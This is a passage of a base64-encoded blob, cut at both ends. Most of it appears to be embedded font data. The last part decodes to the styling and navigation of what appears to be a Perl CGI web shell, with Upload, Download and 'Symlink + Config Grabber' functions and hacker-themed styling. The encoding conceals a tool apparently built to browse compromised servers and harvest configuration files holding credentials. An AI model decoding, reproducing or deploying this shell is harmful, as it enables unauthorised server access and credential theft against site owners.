1uZmR4QUgyQmVMWVM5RU9mcDVMWm92bDJHWVRXM05tN1ZWbFpSMUhDTnpkenNvS1VXYnVnMkFIcnJxazNkMk9kVVpmYS9nbllmY1dzWHBuMC82cm1yRSs5VWxGK1I5aE9VOXZBQ3RGZlBSM3ZrOTZZZFkwSUxFeCtrU3ZIcTFBZW43YmRDL3kxQXY4alU0cDVmU24rcVNIOFdsR1NFN3F3WVgxb1J3UnAxelZTVC9XVXdvR1cwbHpVZEVMYlVYOGJRMEtXMFFzaGJQVnBSR1ZjMnBZNUxqbUM1bTBnM2hqcm1HZVdDZ1kycnRSQThjNVVWMUwxZ2UwSHV4L1BITmk3TjdvR25VZm5UUytjM0J1ajhybmxtR0V1dTB5azVCRFpFVEJhUmVyRkl2alNXcjFZTVJUV1BXOHZ5U2VWYkVrU2hWT0Vjb3ZpbDFTZ0tici8yUHlNS3dnTFdZMkhwbUd0T3JpNHB3M050REdIR21OUGNBSGNRcytQMkVwSXBvZTNuUzhnWUtTMzhiZ3N4RXVPV3d1OUk2WmJDdTNBaEN6RVQ0MmE4SXJ3VWZydVptQXJ2S092bWFlNTViWnJ4d0lxUFkxMDM3anVVSThCVmJDaXRzRGJJVGFxUDBacmw0R010dTFsOVlBWVdzY2d1TnlqbUpjSVRCcHRUVzBGYnFKdUJleVZvbXlJMlJTQ0R3aE5HczV0Um50eEgyKzlNdGR6SnVLZXFMQ0w2Q1BpdUdZZkxUYkRLa3FYV3lvYjF5SlNqZ3h0aUkydnExeU5UUi9yRlBXdnJHczZhWFdSZllIM3MwQmYzQkRxaVk0ZmRaUW83TTMzMWU3b3VuVU9PcnJxdFlYL25lK2Mybm1uZ1FoNUg0ZDNMQ1o4RDJMdjViQU8xMTdSZkh1ZytEK1BINXh6TTdaaFhNVi9IdklEYU1TL245SllyanhtWXYyc2U2dWg1T3VlOUNjcDV3ZTU1bWw4cml2bVBUUnNpeS9tNitwbFEreTVNWFVNeGYxR2s3d1RRRjhEbm5zNmxyM0krK3JDWWhHT1VGa0JtWWR6cDh3ZlVyY3JsQ3hOTGxlNDgxRDVPdGUzQzFMYk54S1FLdmIxQWI1aEpZT2I0U29weEU0cVlrdjJnU0tKSjJuOVNJWC9jeXpHQUxDc1Z6VEU5bHZHbHZOa3dyVi9FL0ZJRmU2YlV4M0RKVHNQVmhHTUI3VEhQTVBmTjFSc0xqL254K1hBcDNjTUJzc1F6RGlaNVpTYzQ1MVFuT0pmYUNVN1cwQzNsQy9lQ1ErbTVvaDhjTVNqTzh6eGQ0Y2l0aXRTb2ZXVHBjd2txbUUvTjZQS042VTJpUEo4bnIvVXBEaXVXSEFlS0hkRmxsazhtWjdaRnIxVGJvdE82TkI4dktJRVZyRXNvUHVwalZ1L1NKVVQveUYvV3IzbXowTEozWW1CZ1Y4dXViakhWdVMyZGF2RnIzbmxGTi9IRTdtOXVpeGMrSUVkOWpYZDJOZldrSEdvdExmYmtlbGw3a0tsbnZxaWkyOHFVMHVOcU1jaE5yUnJLSWxJRHBiTWVSTDFlZWR5Tm5hZWREckRLQVBUbWVLazNCdFo3Slp4ZktkSzJVbXZ4Q1RqMWdscUhrZGVGeEJXMXVBNVcybVEvUUZ2Y3VXSEZodzh4eWs5cWhWd3BQb09MRG5GbUwxb0w2RTUxSDM4Tkc4bFVjRW9WSmU3MHp4UkxhSnpDa1dYZG4yL3YvL01iUTRGNHRzenZXL25KV3pvenAzUEJwdHFZc2R5NEpGMFg2R3JQZE43V21Wa2p4dGExZnJMN1p1N2Qzb2Z2cUJVNzc4Z21PdGV0OGdaamdXaGFUTFJzN1RqeHFKa1hkQS9yYkhaVFozdW1KU1BXZHF4cDNTaEdPOFgydm9QRGx5eTR6bWd2TitBWjluSmJ6Z3g5WERlMzlBTGQzRlpjMGMzdENlem1sa2o5NGZ1NW9aYSs5cDV1TVZUZTE5alhqZnVSb3N1djVNbm4vMUE4T1U5NWtseU9rdU8xU2FrL05Hc1FxRjg3YS9xcDZiaFcza1NLR0Y3aHpRandKc0tzWVA1VTVVMXNGbStTMDd6SlVONHNCdDRvejdzdDhtWWw4QWFYUzQ0WHFyREtyRWJoVGlnY1VibXpDRU95S25lU3Z4OTNsSVR3dFhjRC9DYTFUM1hYMmhPUSszWXhZZnpPck82QVJSNDEwaDU3YmRpdm5mSm83U3dldFJSNUJPSWpMd1dYWWRYU05DaWRDTG9NTjFLbXJRR21yZUh4MGJoRnByVUQwOWJNWUZxVDhDUXlMU0ttNjFTdUxRT3V0YXd0bHYxU2Z0RmFSZ2MyNVpEU05xbU95bHJWeC9KdVlmZmltdG41MmFzNEc5NXJadklyOC9zZTM1N2RrRkdqOHJ3T00ySE1ha0E0ajZwY1Q4emkrc29wcnNkRXFUa2xod0U5TkFCNldFODVYZ082djZvRzBjTmlCU1hVOERSTHI3Qi9mSjEzT1p5cVUwN1ZpZmwxQ29Cb1JWR3VVbXBHNjRRbnpGcS9JN0dTS3I2VmlRVm00bU81UHpPck9JdmpNMk5nVitYK1hVVVVzbm9XcTROVGtPUXFUTmM0aTJuSDNUTjF3SUZwakZMazl4R3FJNUhmMzd5NmxwUldpZmtHbW9HVW1zWDhjalVYdVg2bTVreUF2MWVuWkIvcmVIbmRyRTEyTTdRcXNudGRuV0I3RWhnZFh1cFl0Wnl5ZW1sNEFWYkx6UTJnZ1RPSjdIL1d6aXp3Q08xclY3QkJUTlhoWDE4eE5YZk4ydllRWnU1Nk5tM3FTYVRUQ2N6UjRUTzJKN2xYdUpmQUhqVXlOekFUVEc0WjRwc2xLWGtsK05SVnlaeWQwS0pwZks2ZHRENloxellzczV0anVDMGRtYjhPUkx5TjhqcHRBb1ZEODc3eU92Z1lTRXJycUlyQm5nL3lqZkNlbnVwRmFBQWpickl2VzBsMXl6cGJ6aFd2VlpST3Jtb0o3UVRxcytVcUZvWHBZL0JXTG9OL0ZZN0R3UVpCWmhiUk5xRTVndzhmNnlhWkVCeEo5cWtORTFQNzltWVVETHZodFZJb0ovcWdXcTFKTmM2c2Vha2hFZm9JODVReWUvV2g1azFObnRxeTllM3hic0ZtMjVIdUhRd0V1OVBFd0JiMjNmR3B4amFYSVpMSStwcTJSaktEdFUyYm1vTEhHOWFHT3NyZFpacG92R2tkR2YySkxSRG14VlppcVIvb1dsWnFFamZzcFJQU1hGZlhYQ2czaGl4SGo4ZkhESGErZEZsVVhMSzhjMnRqM1cxQmIycDNvNnY3UjIyYjFwVGRxL1lGS0R4T2U2bG1wakNDU3orSm1Xd1A3Z3YyNmlaemFlcWZxODFWMGVtSXo4cFFDbFlhV1VYblBLaG1LRVZCc0kxWFI1TnA1SHBReUp0Y2ZxM3lyQ2QvSERSL2NFa1NIdzl2OHRBSElSV2ZjTFpRSzlZNUdjcTBtcUVrQ3pWb2JSN3JkaGMzUzJDT0VuZFJHSHlXaVgrZXYyV3J4OFhGNTZRbzYveSszMUlmanZaQ0JSeUZ2VkRESDk4TnRYcSticWlSLzNvM1ZJU01IOWNSdFFXQjRrSmRVZGtuaTdtay84K01DYkhleDQxcG1DSzhCUWRWb2dZSGltTWFvV09LWUFYQTFjZTBlTDR4UmRVeEFUWlpsUDI5UjRXSTdlT0c1VmZDQ0F1T1M1Z09JNENkVXNaV1I4Y1daN0xNeWF1UERuRkJSc0VGQ1ZDYXEwU3A2bUlSRFN4V0F0S3pCejYrM09BRlZGQ2pBZ2F3YlFvcXFDMmlnbElFdCtNQTA3UUtScE1UR1ZqQWh1VlQwMjgwSzlqQkkxd0xpN2dGQWhFZnh6WE5QRkdKQlZsNHg1VlJpV0xmVmV3QlMvdXp6T203U3J1MEtBMVhaM1JicFdrdzdMRXFlYTZ0d3lvczFibWRWWWRoY2M3YlZQWGQ2Unp2ZjVVKzk3WFJaM2RyNTlMWGl3dHRYZ0picHZLK0NuMGpRSjhQNDIvejBGYytIMzMrWW85YXQvY2FlOVRTck85Y0dwK2xxMlplSWp0bXh0MFVPdXRvZjkwNGRuZWZyOE91RkV2SkhsZ2k0U1FOTjdzdTVzc1YrUy9uNlJiRTJZTVlyK0ljVTVpYUdydkYyRjFGWnczSEZybi8wNDEzdzFkdHd2dlBjOFY4L25hODg4WGRCdFNlN2xWTUd1dEdLdFRJa1pRU2xjZXdyYUJHTzJTa3oxL0ZzaUlQNE5FTWxoV0ZCRnVlMDVYYTBWTGpRbmJCc0ZMWXk4M0RLTHVDZGRsaU13czNBQmthT2tlTFRGdkMyT1p1V2ErbW5RdDBBMzl6cG4yWDM3Z3ErbnJzNlVDOTJCL2RsdjVwN1B1MW53ejFudGpkZDdCUFBPMU50U1dhKzlKT05qVWtEbTRuajAyK1crdHIzVjkvdzkyTm9mclFSdCtmTkxZUHJ0dFUrTWVuTnIxODVvNzJrUlBkdFR1N0VtMzNuZWlJaC9sTXpiZG9MMVBhMjdtUjVyUStON2ZqNnp3SnJXWHp0WUJOWUJSTlRXaVZDSG1OSnhqQkIwTkxCZ3lJVFRXRmxaZWk5K3BZSWlLRzhXQVBzZktxN1B5dFloZEtDYzl1SWR0OUZSOXpibnRaelpINU04SkZHM2hPM1VzL0k2ODZxL1BzSHlLdk91MUpVRml5WUFQYURRaElGbXBDeXo0MmxRLytuMDgzaFI0TDB2MVpDam9XSXB5OFU0d2pLWFNQWEprTG5rWDNIeUlYUElOdUNpNFdKTnlnd0lvRktiODBuUWRXYUc5VTg4RDNGUFBBUmRxeit0OHpEL3lFRlplTlZxMmxxUHJEcElPdjB1MzQ2RlZXVDkyQ25aQzV5THlyNlBMdXFRN0pSZHgxRHV4SU1SZjhPWlZMb1NLWG9yVFRPZWFDM2JOeXdaWFd5WEZISlFaaHZJcE5xZVJwRVEyd2F6eHBySWJqU3VKR1dpcXE2V0VsSit5bEloR0tVcEhBc3UwRlJHSnViRVh0YXpFVFRGM0pxWWVMWnNVenhaYW1LUmcxaDBIYlZLTnlPVk5jcjkyemVoTDFNNjNjS1c2UzlzTHc0WjU2c3lqclM0b2R6T25XeUJJRkVHZ3VTbnhTTm1LLytpUnRzNnMrZVh5QkI3WDNjODJYZjlxVVNUYzJwak5OeFhmeXl0aFk0ZTFVVzFzcTBicWUvWDlUNjllbkVtMDNLR3Z3R2U0Yzl4N2paUllCRmR2VnZQTGk0Z3hWNFJwVU5oejRyTFMvY1V6TkppL0RnSUhhRWlFbVBLRzNPYlZLZjJPejBnNXhNZmEzZG1LbXVRcHp5V1ZNUlkyU1M0WmhadWZOSmxkZmtVN1cyWXViWENOME1nN2QxcjJoUDVIQitXaTZkM2wzZjUrWU9XZXhrN3Y4TjhTR0R1endyNC90T2doZjZVeTBEcldPMXAvWmhwTVJDUTIxampTZTJWcC9TNVM4NDNGTkZCSWV4OFRKN0pab3NRL1ltL1E1STRnWjE4M1hWZGc3WDFkaG45cFZPQ2U0eXFpbmM5WE93cWpsNTNRWGZnNlYrM3dkaHJsL0t1YVRaOUxXK3ArbWJWeHd1VDNJY29zZ2xYMGNpYWpRNTVCSWkydm5wekZaekE4cU5DcVl0bU0rR3N2bm85RmZ6Q203YUxHMTRQYlFCbm9XMnpWUWlpcDhEcWw3Rk0wOUw2MnJabUpiaGQ0aXRyMTdMc1Z6b2EyYVUzYlJuSEw1VkU1WkhjdjRZa3NwSEs5U2psZUpNekV1TnErQzBYeThnQ3lBYmVjTXMyOGVEMjdlTVQ4MEg3YWx2WFZCbmlwaHJjL2JYVGM4MVYyMytuOTVkMTFNV0g5c2gxMFNSQkg5bUQ2NzJpZW9zS285KzJIOERrQWIzZXJ6bXNxS3oydXFVbnYycTRBREU5ak9aQkpSaDE5OWFCT2lEcjlqNnFGTlpaakN0cU42bS9IUUp2dVZEMjJhMGJlLytOeW0ycDBydW8vdXFKdmR1VCs4N3VaMGVzT0t3am5kcytVRlE4RFhOUHJVcml2YjkvZnM2NDZGcXhUN29jeGxIY3psVW1ZbDgvTGMyY1JkOVN0UzhpS1E0MlZKK21ENTRNVjhSSkhTaVBLWVY1am84WlRMQ2RJYlY0N0h4WHhLa2Q1VmY0VDVseU5CSlJZU3g4ZmlnR0Z3MnVSbEsyZy9sLytFWEN5MFZqNVdWczdPWFRzZkl6ZzY5OXdZU09hamQ3alh0UXpvajBXSVoyZ1hJUTlITzJWeXlyTVE1VW9PTzFUbGpXWTdicEV4cWdzTEg0ZGl4c2d3YlNaa01kUENha3M1N1Z0bEFpOGY4VTA1dHR6bDdGbXFzM0d2a0JtN0dwUlR4akQ0SkpCS20rUkg5dkEyUkhvejl0SG9zUHBxVnZJaTg2TnZ1ZXZLeWYzcW5wcmUyc3o1aTZlR0JxT0w5YjZZTGZPWmJJRGRTbHBJaDBHamx2Q2JTSnhjLyt2Zm1WanVKYU8yZGY5M1orUWJJb0J3RzVrVFRDNkVucUUvSmNjeHhKMmtDQUU3ZDJVNHpLRGxWd3NoaktDdHh2amdPaVhuYTZJNVh5eXZFR0RBcTVNWTZVYThhelpOMG94REV2M2prQlpHSmdpeW9STGU2Mnk1VWhmTkdaaUZISThQaUFVMm9HK05TV0Q0a1FkL3RObzJ6cGdYSjlGa1pJUlorM053N1NrNWhCbFBISmpPSXN4dUJ4ZE9VZFJYSDFpenNhbnRzLzd3eHRyMzJNS1gzYkdtdUs5T2RFWDc0eTMzUlVQOTNVMGJHZ0luTEFFeEZJaDZTODNsWWpBUTk1bklnMytYanFacXlVLzZ4ZzkyZGQrMjRUT0ZjbE81UGJ1aks4WDd4L3llam0zOU4zVS9rTi9VOUtkYjZySzMzdGZZT0xxcHZyWi9qMjMzb1NQSytsWHFlM29abm5hbEhacGQ0WU9HdlRvbE93eFlYMDQ3MUNybFB1TnVFOVl2Q2NwcUZjUzhXeW1rOTlQRElXWHAwbkkvZk9TMUE1aEhIU05KazVWRFdGcGZXWDMxSXFHRjF0WVZoVVA3NXRzSk1sOFYwZk5Ycmg5Q0RKb28reDdnQlMxNEJKSldsTGpVVkJzdlhiR05WNGxHYVhjb0U2MUtxYktQZ1NqK21XYjNsRUVuek04MUd6a2YrR0Ura0ZISlRsdjZqcGNaN2VCeGFUV1RLdnJJVzVRR2V2UVpGV1ZZaUkrTGlYWm1rZzJXR1cydDU3aE9QNzlhdWZrQ2tZU1ovUmlaV2QwV21kLy9ISE9JL0l3YlpBZVY1enNxVG9MeXFLT3A1enVpVTNDSS9RWDUyZUhEOEh1Ry9FekRYUFgzQXZ4ZXc5Q2Z3NzBUM0hiMlplMDU4TlVXTXloWjJoSmttZnF3SDJRZ2R2UkNvMkZocUJKbmxBNkJ5SzNwVG04SnNmL0JEWUZ3UzEzQzJsamJuMjFyMTRSclJ3YzZUUHNNUWtVaW92dE1yTE5yQjl4TDVEYXhMMmxQSy9leWkvblM2WHNaWnQ5TDJUK0o5d0lUTUwxTDBzTHFpVGpqTnVLdFl4ditSMlZYRTlyR0ZZVDM3VnV0MXBJc1c3Ritva2lLbzhqeTRncHAwVzZOSTB0RWpscUVDTlFJSTRRalNqREJPREZxcXhZMzlrR1lrSWhTU2lpbXRBVzM5RkJLRDBYNElCa1RSQW1CVUVvZ1VId29EWmdjZXVpaHVBVWZTZytsY1RkOTg5N0syc3BKU3cvTExnTnZaK2J0bTUxNVAvTU4zcGRjbzhxRU9BOU1Ya25mZXJNNENIb3AraDcvSFFyOUgxNlcvK1QxaFluVkxOV1F4bGZ6dUlHYmRCMUc1Z29jak9kVEdvQXdBbmFZWDZXYkp1U242TFFEZGh0ZEl6MXJaM1Zpb0UvYmtqMEYrOVZ0aTBnUmw5ckJVWFlXc2IrWG8vMkUrVWp4bmNWUTVNSjAzSkhPNVBMcE10b3pLT2VBOHZKTDZVdUNrbHE1bkhlc1NjNVFMQ29XazFwcHJuS01RblVvRXgyKzZ1a3dvclJrRFNEUFZJcWtSWFdRam5RSW1uVWcvZGZtNFZjZWRMWGRNdFBCNjJjNjlQZG90SjlRTmdrTHdxTzdKbjBJNFFyK2swZ2Fqd3B6Q3NpZWZzdVEvWjhVa0YvL0RUZTVQemdYaWZIeU1KSmIwU1A1VDZnMHZCUEp2NVRJNzJEclNXZnNMTEp6OUpEQVRrU3BxMjI3ZlZSNkg5MHQvVmZwODI4SFRMTGZpK1JTSnRrWE41MkpnbGdrWWhhWm1LdlNFTzMwSG9YdEplK2pLOWlIdDBqZkp5aVNKN0ZCcXhBemJsMVR0TkYvbVhHRGtjc2RYOS9ZbHd0THVleHlRWllMeTluY1VrSG0zMDFWNXhRNEhwaXVGaFdsV0tVK0tQdjBaM3lmKzliSStTcHgyd01RelhqQ21yYURKVzZFdkg0b29LcVVhaENNZGNSbndqVkRnYXRleGlHc0xSTEpwcDdqVWN6UDJVd3ltWUVMWFNJaDIvUjBNcGxDcGU1VE9aN0x4Wjl4Z1czTDNBci9OZjZNK0JJdlozSWZkcUdMbGp0QUVYbVJqRUtyRHgrdThoTDZhRWJmMHJjdWtMWjUwbmFQdGcxMzI3WjRkVWM0YWs1cm5MUVFEQUFBc3hzZ1RjZzdVRWovYVFlVlVHbEdmMDJ2UXIwUzBvZDNMVFl1Q1lpbUNYb21uOHdvbkhETzFJTUJOei9oSEl4Qnhod1VsNGlRcUhDQUVrNXA0S2xhSjltcFpjdWo5bWt5NllKanlLY3RVUDBsU2YyMFRBUjRJZFgyMkdpaUZjME9HMzl4TW9PbUlwTWFPekxCRUtHdFlXdFlkSHVDeUVjZVREdUc0L0xGZFo1ZjM0aisrczNjTlRVY1c1NjYzZkNnVGI5ZTQzbjB4a205RS9pNFBsdUxqWTErY3ZtSEgwUG84NFk3N2dzbzNzYmU5KzZSaldIUHB6Y2J2a1RBRjNjM3Zyd1I4SDR3UFA3TExsc3ppZktQOGE3d08yY2xNZkF0VnFtNFBUaXNhUVkwWWd1clhUaGpLTDRsZVZXV05DZjIwQkxGYmxubmJaR2lKWXFRTVdkaFdBUUcxdG9ZUlIvWThUS2NXb2lPeHlTYS9BbElwRTVhS0pQbTB6UEhGeUh4QzhXQURDQ1lNRVJJaENkYkk3SVRlNkpvdmJHR3dxTERPV1NyVlJacU5xZkRMcTd4dk1DWFh5MEtBbytGOTY5ZTFXZlJ0ajY3dEZtL2RrN2ZSNzZwYW4xelVhcGNyMDhjSEV6VXIxY2tacDlnTkIzY0laWWpkMDlDMDJLSERIOFUyNm0xc3B2aFk1T3VzQXVhSEJiQTNsS1ErMHZySlo3bHhqbU8xanlBbWdEc0s0YVF4dFF3TDA2Nk5GZnE5VlpuUWZXN0ZYbWxjbmpZNU9QWnVESXpvOFN6L2liVUp1MDhjSHdvaVRkcnJDd3BhbXFaakthZFAvOWtBZDg1dk1pK1YrcnBBVDR3K0Q2WEs1bTRrdkFZcVAwTXRhYk5QekhxdTcxeW5OMWZ1OEphOE1sN3NjbndzTGdoM1BnYjE0dExYd0FBQUhqYVkyQmtBSUl6Wnd6bnJYa2N6Mi96bFVHZUF5VEFjTzZNNmswRS9XOEpDd1BiRWlDWGc0RUpKQW9BbTZZTlNIamFZMkJrWUdCYjhyY0lSRElBQVFzREF5TURLbmdCQUZGY0E3SjQybldUc1V2RFFCVEdYMW9SUittYW9ZTUVCd2NSd1JKRUFpSWRnaFFKUlJ4S2h1SWdMaVZJRWNmZzRCQ2taSEZ3RkJGY0hCeUtGUDhNTjJjUndjbFp4Ty9kZmNWNGFPREg5L0p5ZCsvZGQ1ZmF1MndKbnBsZmVFZGdEbkVMREVBQUl1UnVvSzlrQ0ZMa1ZrQVRIT0w5M09ia2t0OVBRQXpPdUU0T0RpdzYzdE42KzV5aitnZ1MwT0Q0bERvaCt0NERZK1pQbWQ4RUdWZ0hGOVNNN0lBKzhEbHVsVEhtZTdxdkVmaGczWG5rT3RCalVMS25oT1RVa3JYTFN0eGxuRlQwbWZ2V2VRWFlBSXZzTFdhZlY2aDN6M2liM2c5WlYvZlpzYjJhTVFWOWI3UGYzTlpWNzAzdWszNnFSMStJYTZESGZrTDZIZG04OGUrTzU3b0FsdWg5NHg5YVhIZmlNSFlJS3VmZ01xTDJIWHp1djZUdmZ4RTVaekZsNEpCVi9IZEpxWVZEekRreDl4blJjNzMvTC9WRVpQWmFaS3ExTlJIdkZ2Z1dlWUoyb2FrNXUrWVA1bDhRL2gvTEZ0a0R1K1JOYStsY2ZNTzk4TnE2THZzSTZnOG1EaVg4QnVIcVh3WjQybU5nWU5DQnd5cUdMWXd6bUl5WXJqRVhNTTlpUHNMOGdjV0hwWS9sQ01zalZoRldEOVo5clAvWUN0aWVzZHV3ditOSTRsakFxY1k1amZNV2x4cVhEVmNjVnduWEkrNHluaVNlTjd3T3ZGTjRML0N4OFJYeHJlSjd4Sy9FbjhUZkljQWg0Q1V3VCtDRFlJVGdDU0Vub1NLaGJjTEhSR3hFcWtTMmlMd1RsUkwxRTYwUW5TYTZUdlNjV0lEWUdyRi80akhpK3lRQ0pJNUo4a2ptU1Y2UTRwTUtrdG9qOVVmYVQzcU5ESStNaTh3R1dRNVpIOWx0Y3J2a2Zza1h5YTlRRUZFd1VKaWo4RVBoaDZLYjRqWWxGYVU1eWh6S2VzcVBWRlJVenFuNnFlYW9UbEhkcEZhaU5rbnRoYnFaZW84R2g0YUdScFhHTVkwdm1sYWFUWnBYTkw5b1ZXanphVC9SQ2RQMTAvUFFkekhJTXB4a3RNMll6M2lTOFEwVE9aTXNrd2VtYXFZNXB0dk1qTXhXbWV1Wjk1aS9zdkN5dUdXWll0bG14V1VWWWJYQ21zRzZ6dnFRalpUTkZsczcyek4yY2ZZUzloY2NPaHlESEI4NStUaHRjMVp4UHVFaTRaTGhzc2ZWeW5XTG00WGJGTGNQN243dUR6enlQRFo1R25rMmVGN3kwdkphNGEzaDNlZmo1WFBBTjgvM2xaK1FYd3dPbU9WWDRkZm1OODl2bTk4YmZ5WC9DUDlkQVZJQkZRRWJBZ1dBVUM4d0NBalBCSGtFWlFRdENib0ZBR1FibHFNQUFRQUFBT2tBVFFBRkFBQUFBQUFDQUFFQUFnQVdBQUFCQUFIRUFBQUFBSGphblpLN1NnTkJGSWIvM2NSTFVJSVJDUllpVTRpZG00MUcwRlNDUVN6Y1J2RFNiaTdHWUM2eUdSSEJ3bWZ3Q1N4OUFwOUJ3Y3JLSjdIMm45bXppc0ZFQ1VNbTM1enpuOHZPSEFBNXZDRUZKNTBCY005ZnpBN3lQTVhzSW90SDRSUjI4Q1NjeGlvK2hDZXc2Q3dKVDJMRktRbFA0YzQ1Rlo3R3N2TXVuQ0Vuc1RNb3VRdkNzK1I5NFRuazNWdmhITEp1MHM4ODdRL0N6K1NrbnhmNDdpdDIwY01sYmhDaGhTYk9vYUd3RGg5RkxrVnZpQzRWWFhwcjVEWnRCOVRVNFpFTUczdUQvajczT2kxWDVEbzVJbXZtYS9EL0NGVnIxOXdWOW13Ky9TTzZablZGWnZVSDFJRlY5M0JJUlpPV05ydUlobWpVZ0VyaDJIYlNaeDJqVU16dVlXdG9qY0g0LzBRbnNXc2pPd3p0cmZ4K24wWnR2ajZ5OFMzVzA3WnVmSithRk5vYjdWamxCZjJLR2M3K2VKMktQV3ZwUE9BcFpQYkVQOXBycGtCektzb29jRjNiNWRIK0hkT1JDSTkxZXp3Vnhvb1ovNlZQcUtueURwSkppaWNua08rcDBGdXo4N2t0MDF6R0psL083UDdYZkc5OEFvdE9sbHdBZU5wdDBFVnNGSEVVeC9IdmEzZTc3ZGJkS2U0eU05dXA0THR0QjNkM0NyVkZXdGl5dUliaUVnZ0pOd2gyQVlKcklNQUJDRzVCQWh3NDQrRUFYR0hhK1hQakpTK2Z2UC9oOTE3K1JOQlNmOXgwNW4vMXlXNlJDSWtrRWhkdW92QVFUUXhlWW9ram5nUVNTU0taRkZKSkk1ME1Nc2tpbXh4eXlTT2ZWaFRRbWphMHBSM3Q2VUJIT3RtYnV0Q1ZiblNuQnozcGhZYU9nWTlDVElvb3BvUlNldE9IdnZTalB3TVlpSjhBWlpSVGdjVWdCak9Fb1F4ak9DTVl5U2hHTTRheGpHTThFNWpJSkNZemhhbE1Zem96bU1rc1psTXBMbzdTeENadXNKK1BiR1kzT3pqQWNZNkptKzI4WnlQN0pFbzg3SkpvdG5LYkR4TERRVTd3aTUvODVnaW5lTUE5VGpPSHVleWhpa2RVYzUrSFBPTXhUM2hxLzFNTkwzbk9DODVReXcvMjhvWlh2S2FPTDN4akcvTUlNcCtGTEtDZVF6U3dtRVdFYUNUTUVwYXlqTThzWnlVcldNVWFWbk9WdzZ4akxldlp3RmUrYzQyem5PTTZiM2tuWG9tVk9JbVhCRW1VSkVtV0ZFbVZORW1YRE1ua1BCZTR6Qlh1Y0pGTDNHVUxKeVdMbTl5U2JNbGhwK1JLbnVSN3d2VkJUZFBLSFhXbFgxT3FPV0FvZlVwVFdkcXNZUWNvZGFXaDlDa0xsYWF5U0Ztc0xGSCt5L003NmlwWDE3MDF3ZHB3cUxxcXNySE9lVElzUjlOeVZZUkREUzJEYVpVMWF3V2NPMnlOdnc2cm1WUUFBSGphUGN3OUVzRkFIQVh3YkZZMmtjK05DU296TVhSYmFiUWFTWlBHcUxJenptRkdwMUZ5Q2dmNFIrVVNqdUFzUEt6dDN1L05tM2RucnhPeHM5TlFzR2s3eGk2NnE0VnFweVIxUThVVzRhZ25KTlN1ZFlpWEZYRzFKbEZXTi81MDFSY2VJSzRHUGNBN0dQaWYyY01nQVB5aFFSOElzaDhZaGVZMlFodEtWM1c4M29NeEdJMHNFekJlV2FaZ3NyRE13SFJ1S2NGc1pwbURjbXc1QVBQbG41b0s5UWJpQmtxc0FBQUJVcVoxV2dBQSkgZm9ybWF0KCd3b2ZmJyk7CiAgICBmb250LXdlaWdodDogbm9ybWFsOwogICAgZm9udC1zdHlsZTogbm9ybWFsOwoKfQoKYm9keSB7CmZvbnQtZmFtaWx5OiAidWJ1bnR1X21vbm9yZWd1bGFyIjsKZm9udC1zaXplOjEycHg7CmJhY2tncm91bmQtcmVwZWF0OiBuby1yZXBlYXQ7CmJhY2tncm91bmQtYXR0YWNobWVudDogZml4ZWQ7CmJhY2tncm91bmQtcG9zaXRpb246IGNlbnRlcjsKYmFja2dyb3VuZC1jb2xvcjojMmQyYjJiOwpjb2xvcjpsaW1lOwpiYWNrZ3JvdW5kLWltYWdlOiB1cmwoJ2h0dHBzOi8vY29uN2V4dC1zZWN1cml0eS5jb20vaW1hZ2VzL2Vyb21hbmdhLnBuZycpOwp9CiNuYXZ7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDo5OTk7dG9wOjA7d2lkdGg6MTAwJTtsZWZ0OjcwJTsKfQphLm5hdi1mb2t1cyB7ZGlzcGxheTpibG9jazsgd2lkdGg6YXV0bzsgaGVpZ2h0OmF1dG87IGJhY2tncm91bmQ6IzE5MTkxOTsgYm9yZGVyLXRvcDowcHg7IGJvcmRlci1sZWZ0OiAxcHggc29saWQgI2ZmZjsgYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjZmZmOyAgYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2ZmZjsgIHBhZGRpbmc6NXB4IDhweDsgdGV4dC1hbGlnbjpjZW50ZXI7IHRleHQtZGVjb3JhdGlvbjpub25lOyBjb2xvcjpyZWQ7IGxpbmUtaGVpZ2h0OjIwcHg7IG92ZXJmbG93OmhpZGRlbjsgZmxvYXQ6bGVmdDsKfQphLm5hdi1mb2t1czpob3ZlciB7Y29sb3I6I0ZGRkZGRjsgYmFja2dyb3VuZDojMTkxOTE5OyBib3JkZXItdG9wOjBweDsgYm9yZGVyLWxlZnQ6IDFweCBzb2xpZCAjZmZmOyBib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNmZmY7ICBib3JkZXItYm90dG9tOjFweCBzb2xpZCAjZmZmOwp9CmlucHV0W3R5cGU9dGV4dF17CgliYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDsgCgljb2xvcjp3aGl0ZTsKCW1hcmdpbjowIDEwcHg7Cglmb250LWZhbWlseTpIb21lbmFqZTsKCWZvbnQtc2l6ZToxM3B4OwoJYm9yZGVyOm5vbmU7Cn0KaW5wdXRbdHlwZT1zdWJtaXRdIHsKCWJhY2tncm91bmQ6IGJsYWNrOyAKCWNvbG9yOndoaXRlOwoJbWFyZ2luOjAgMTBweDsKCWZvbnQtZmFtaWx5OkhvbWVuYWplOwoJZm9udC1zaXplOjEzcHg7Cglib3JkZXI6bm9uZTsKCjwvc3R5bGU+CjwvaGVhZD4KPGJvZHkgb25Mb2FkPSJkb2N1bWVudC5mLkBfLmZvY3VzKCkiIGJnY29sb3I9IjJkMmIyYiIgdG9wbWFyZ2luPSIwIiBsZWZ0bWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4KPGRpdiBpZD0ibmF2Ij4KPGEgY2xhc3M9Im5hdi1mb2t1cyIgaHJlZj0iJFNjcmlwdExvY2F0aW9uPyI+PGI+SG9tZTwvYj48L2E+CjxhIGNsYXNzPSJuYXYtZm9rdXMiIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWhlbHAiPjxiPkhlbHA8L2I+PC9hPgo8YSBjbGFzcz0ibmF2LWZva3VzIiBocmVmPSIkU2NyaXB0TG9jYXRpb24/YT11cGxvYWQiPjxiPlVwbG9hZDwvYj48L2E+CjxhIGNsYXNzPSJuYXYtZm9rdXMiIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPWRvd25sb2FkIj48Yj5Eb3dubG9hZDwvYj48L2E+CjxhIGNsYXNzPSJuYXYtZm9rdXMiIGhyZWY9IiRTY3JpcHRMb2NhdGlvbj9hPXN5bWNvbmZpZyI+PGI+U3ltbGluayArIENvbmZpZyBHcmFiYmVyPC9iPjwvYT48L2Rpdj4KPGJyPgo8Zm9udCBjb2xvcj0ibGltZSIgc2l6ZT0iMyI+CkVORAp9CnN1YiBQcmludFBhZ2VGb290ZXIKewpwc